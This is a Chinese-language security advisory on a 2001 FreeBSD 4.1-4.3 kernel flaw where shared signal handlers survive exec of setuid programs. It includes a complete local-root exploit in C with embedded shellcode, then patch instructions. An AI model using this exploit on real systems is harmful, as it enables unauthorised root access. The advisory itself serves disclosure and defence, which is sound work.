FreeBSD内核信号处理安全漏洞

  FreeBSD内核信号处理安全漏洞发布日期: 2001-7-10 更新日期: 2001-7-17 受影响的系统: FreeBSD 4.1FreeBSD 4.2FreeBSD 4.3 不受影响系统: 2001年7月9日以后发布的FreeBSD 4.3-STABLE 描述:——————————————————————————– BUGTRAQ ID : 3007FreeBSD信号句柄清除过程中存在一个错误,可以使一些信号句柄在exec之后仍能保持有效。例如使用rfork(RFPROC|RFSIGSHARE)函数来fork子进程时,一些信号句柄将被共享。如果子进程在exec()一个setuid二进制程序,父进程再设置信号句柄;那么该setuid程序也将复制父进程设置的信号句柄。如果向其发送一个信号,就可能导致信号句柄被执行。利用这个漏洞,攻击者可以在任意setuid二进制程序中设置信号句柄并执行任意代码。攻击者可能获取本地root权限。<*来源:Georgi Guninski (guninski@guninski.com) 链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:42.signal.asc*> 测试程序:——————————————————————————– 警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! Georgi Guninski (guninski@guninski.com)提供了下列测试代码:————-vvfreebsd.c———————- /* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski */ #include <stdio.h> #include <signal.h> #include <unistd.h> int vv1; #define MYSIG SIGINT //exec "/tmp/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"); while(42); } ——————————————————————————–建议: 厂商补丁:FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-01:42.signal)和相应的补丁。您可以在下列地址看到安全公告的详细内容:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:42.signal.asc补丁下载:ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch您需要以root身份执行下列命令:# cd /usr/src/sys/kern# patch -p < /path/to/patch然后重新编译内核,并重新启动系统。内核编译的具体介绍可以参考下列地址: ,属于自己的不要放弃,已经失去的留作回忆。

FreeBSD内核信号处理安全漏洞

相关文章:

你感兴趣的文章:

标签云: